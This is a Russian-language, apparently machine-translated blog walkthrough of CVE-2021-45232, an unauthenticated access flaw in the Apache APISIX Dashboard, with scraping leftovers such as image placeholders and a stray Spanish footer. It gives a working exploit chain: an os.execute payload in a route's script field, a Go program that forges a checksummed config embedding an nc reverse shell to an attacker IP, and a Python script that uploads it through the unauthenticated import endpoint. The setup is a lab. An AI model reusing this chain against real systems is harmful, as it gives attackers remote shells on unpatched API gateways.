Уязвимость панели управления Apache APISIX, связанная с несанкционированным доступом (CVE-2021-45232)


Отказ от ответственности: Данная статья предназначена только для ознакомления и ознакомления.Все задействованные в ней ресурсы взяты из сети Интернет.Просьба не использовать их для каких-либо противоправных действий,иначе вы сами будете нести соответствующие последствия,а я не беру на себя никаких юридических и совместных и несколько обязательств.

Описание уязвимости

Apache APISIX — это динамический высокопроизводительный API-шлюз, работающий в режиме реального времени, который предоставляет богатые функции управления трафиком, такие как балансировка нагрузки, динамический восходящий поток, выпуск оттенков серого, предохранители служб, аутентификация удостоверений и возможность наблюдения. Панель управления Apache APISIX позволяет пользователям управлять Apache APISIX через внешний интерфейс. Уязвимость существует из-за ошибки в Manager API. API-интерфейс Manager представляет инфраструктуру дроплетов на основе фреймворка gin, а все API-интерфейсы и промежуточное ПО для аутентификации разрабатываются на основе фреймворка дроплетов. Но некоторые API напрямую используют интерфейс фреймворка gin, минуя аутентификацию.

Сфера влияния

Панель инструментов Apache APISIX < 2.10.1

Развертывание среды

через git clone apisix-docker

git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/

Изменить docker-compose.yml

apache/apisix-dashboard:2.7
apache/apisix:2.6-alpine

вставьте сюда описание изображения
Затем docker-compose up -d запускает среду

После запуска среды браузер получает доступ к панели управления apisix через порт по умолчанию 9000.

вставьте сюда описание изображения

Фон RCE

Поскольку учетная запись и пароль по умолчанию для панели управления apisix — admin:admin, мы сначала входим в фоновый режим, чтобы проверить выполнение удаленной команды.

вставьте сюда описание изображения
Сначала создайте восходящий сервис, нажмите «Создать», назовите его как хотите и заполните сервис для целевого узла для пересылки запроса.Здесь мы заполняем приложение Grafana, прикрепленное к докеру, номер порта 3000, нажмите «Далее», и отправить.

вставьте сюда описание изображения
вставьте сюда описание изображения
Во-вторых, создайте маршрут, имя может быть произвольным, а путь также можно настроить.Нажмите «Далее», выберите вышестоящую службу, которую мы только что создали, и, наконец, отправьте ее.
вставьте сюда описание изображения
вставьте сюда описание изображения
вставьте сюда описание изображения
вставьте сюда описание изображения
Просмотрите созданный маршрут.
вставьте сюда описание изображения
Вернитесь на страницу конфигурации маршрута, нажмите «Настроить», а затем перейдите к следующему шагу до отправки, используйте BurpSuite для захвата пакетов.

вставьте сюда описание изображения
вставьте сюда описание изображения
Затем в теле пакета запроса, после добавления поля скрипта, отправить запрос.

"script": "os.execute('touch /tmp/Keepb1ue')"

вставьте сюда описание изображения

Проверьте еще раз, информация о конфигурации маршрутизации

вставьте сюда описание изображения
Далее посетим: http://192.168.10.171:9080/rce111

Проверьте в докере, был ли создан файл Keepblue.

вставьте сюда описание изображения

Неавторизованный интерфейс RCE

Если нет пароля по умолчанию или слабого пароля, то мы используем неавторизованный интерфейс для выполнения RCE

/apisix/admin/migrate/export
/apisix/admin/migrate/import

Сначала экспортируйте файл конфигурации, используя /apisix/admin/migrate/export.

Поскольку это неавторизовано, поэтому в случае отсутствия входа в систему после захвата пакета BP интерфейс запроса изменяется на /apisix/admin/migrate/export, и после нажатия кнопки «Отправить» вы можете увидеть информацию о файле конфигурации.

вставьте сюда описание изображения

При импорте файла конфигурации будет проверено значение контрольной суммы файла конфигурации.На самом деле значение проверки контрольной суммы может быть рассчитано путем написания скрипта, или новое значение контрольной суммы может быть рассчитано в соответствии с исходным кодом apisix

Расположение исходного кода: функция ExportConfig apisix-dashboard-master\api\internal\handler\migrate\migrate.go

Отдельно извлеките исходный код расчета, а также замените и вставьте оператор RCE с конфигурацией (данными), которую необходимо импортировать.

package main

import (
    "encoding/binary"
    "fmt"
    "hash/crc32"
    "io/ioutil"
    "os"
)
func main() {
    
    
    gen()
}
func gen() {
    
    
    data := []byte(`{
    
    "Counsumers":[],"Routes":[{
    
    "id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{
    
    "id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{
    
    "host":"192.168.10.171","port":3000,"weight":1}],"timeout":{
    
    "connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{
    
    "id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
    checksumUint32 := crc32.ChecksumIEEE(data)
    checksumLength := 4
    checksum := make([]byte, checksumLength)
    binary.BigEndian.PutUint32(checksum, checksumUint32)
    fileBytes := append(data, checksum...)

    content := fileBytes
    fmt.Println(content)

    importData := content[:len(content)-4]
    checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
    if checksum2 != crc32.ChecksumIEEE(importData) {
    
    
        fmt.Println(checksum2)
        fmt.Println(crc32.ChecksumIEEE(importData))
        fmt.Println("Check sum check fail, maybe file broken")
        return
    }
    err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
    if err != nil {
    
    
        fmt.Println("error!!")
        return
    }
}

Запуск этого скрипта создаст файл apisixPayload.

вставьте сюда описание изображения

Это новый файл конфигурации, который мы хотим импортировать для расчета контрольного значения, а затем использовать код Python, чтобы просто передать его на сервер.

import requests
url = "http://192.168.10.171:9000/apisix/admin/migrate/import"
files = {
    
    "file": open("apisixPayload", "rb")}
r = requests.post(url, data={
    
    "mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)

вставьте сюда описание изображения

На атакующей машине включить мониторинг nc

вставьте сюда описание изображения
Затем получите доступ к адресу маршрутизации (http://192.168.10.171:9080/rce111), чтобы запустить удаленное выполнение команды.

Посмотреть оболочку отскока nc

вставьте сюда описание изображения

Отскок прошел успешно, что указывает на то, что команда была выполнена

Supongo que te gusta

Origin blog.csdn.net/guo15890025019/article/details/129503731
Recomendado
Clasificación